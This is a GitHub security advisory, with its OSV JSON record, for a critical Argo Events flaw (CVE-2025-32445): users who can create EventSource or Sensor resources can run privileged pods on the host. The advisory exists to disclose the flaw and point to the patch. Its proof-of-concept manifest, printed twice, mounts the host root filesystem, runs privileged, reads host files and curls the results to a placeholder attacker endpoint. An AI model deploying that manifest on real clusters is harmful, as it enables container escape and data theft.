ghsa-hmp7-x699-cvhq
Vulnerability from github
Published
2025-04-14 17:47
Modified
2025-04-23 15:07
Severity ?
Summary
Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR
Details

Summary:

A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.

Details:

The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext, volumeMount can be specified, and applied to the EventSource or Sensor pod due to the code logic below.

golang if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil { if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil { return nil, err } }

With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template.

Here is an example that demonstrates the vulnerability.

apiVersion: argoproj.io/v1alpha1 kind: EventSource metadata: name: poc-vulnerable-eventsource spec: webhook: security-test: port: "12000" endpoint: "/webhook" template: container: image: ubuntu:latest command: ["/bin/bash"] args: [ "-c", "apt-get update && apt-get install -y curl && while true; do rm -f /tmp/data; echo '=== containerd socket ===' > /tmp/data 2>&1; ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1; echo '=== proof of host access ===' >> /tmp/data 2>&1; cat /host/etc/hostname >> /tmp/data 2>&1; curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/; sleep 300; done" ] securityContext: privileged: true capabilities: add: ["SYS_ADMIN"] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: /

Impact:

  • Multi-tenant Clusters:
  • Tenant isolation broken
  • Non-admin users can gain host/cluster access
  • Access to other tenants' data

  • Security Model Bypass:

  • RBAC restrictions circumvented
  • Pod Security Policies/Standards bypassed
  • Host system compromised

Patches

A patch for this vulnerability has been released in the following Argo Events version , which only limited properties under spec.template.container are allowed.

v1.9.6

Credits

This vulnerability was found & reported by:

@thevilledev

The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-events"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-250",
      "CWE-268"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-14T17:47:39Z",
    "nvd_published_at": "2025-04-15T20:15:39Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary:\n\nA user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.\n\n### Details:\n\nThe `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.\n\n```golang\n    if args.EventSource.Spec.Template != nil \u0026\u0026 args.EventSource.Spec.Template.Container != nil {\n        if err := mergo.Merge(\u0026eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {\n            return nil, err\n        }\n    }\n```\n\nWith these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.\n\nHere is an example that demonstrates the vulnerability.\n\n```\napiVersion: argoproj.io/v1alpha1\nkind: EventSource\nmetadata:\n  name: poc-vulnerable-eventsource\nspec:\n  webhook:\n    security-test:\n      port: \"12000\"\n      endpoint: \"/webhook\"\n  template:\n    container:\n      image: ubuntu:latest\n      command: [\"/bin/bash\"]\n      args: [\n        \"-c\",\n        \"apt-get update \u0026\u0026 apt-get install -y curl \u0026\u0026 while true; do\n         rm -f /tmp/data;\n         echo \u0027=== containerd socket ===\u0027 \u003e /tmp/data 2\u003e\u00261;\n         ls -la /host/run/containerd/containerd.sock \u003e\u003e /tmp/data 2\u003e\u00261;\n         echo \u0027=== proof of host access ===\u0027 \u003e\u003e /tmp/data 2\u003e\u00261;\n         cat /host/etc/hostname \u003e\u003e /tmp/data 2\u003e\u00261;\n         curl -X POST --data-binary @/tmp/data http://\u003cattacker-controlled-endpoint\u003e:8000/;\n         sleep 300;\n         done\"\n      ]\n      securityContext:\n        privileged: true\n        capabilities:\n          add: [\"SYS_ADMIN\"]\n      volumeMounts:\n        - name: host-root\n          mountPath: /host\n    volumes:\n      - name: host-root\n        hostPath:\n          path: /\n```\n\n### Impact:\n\n- Multi-tenant Clusters:\n  - Tenant isolation broken\n  - Non-admin users can gain host/cluster access\n  - Access to other tenants\u0027 data\n\n- Security Model Bypass:\n  - RBAC restrictions circumvented\n  - Pod Security Policies/Standards bypassed\n  - Host system compromised\n\n### Patches\n\nA [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.\n\n`v1.9.6`\n\n### Credits\n\nThis vulnerability was found \u0026 reported by:\n\n@thevilledev\n\nThe Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.",
  "id": "GHSA-hmp7-x699-cvhq",
  "modified": "2025-04-23T15:07:31Z",
  "published": "2025-04-14T17:47:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-events/security/advisories/GHSA-hmp7-x699-cvhq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-events/pull/3528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-events/commit/18412293a699f559848b00e6e459c9ce2de0d3e2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-events"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3608"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR "
}


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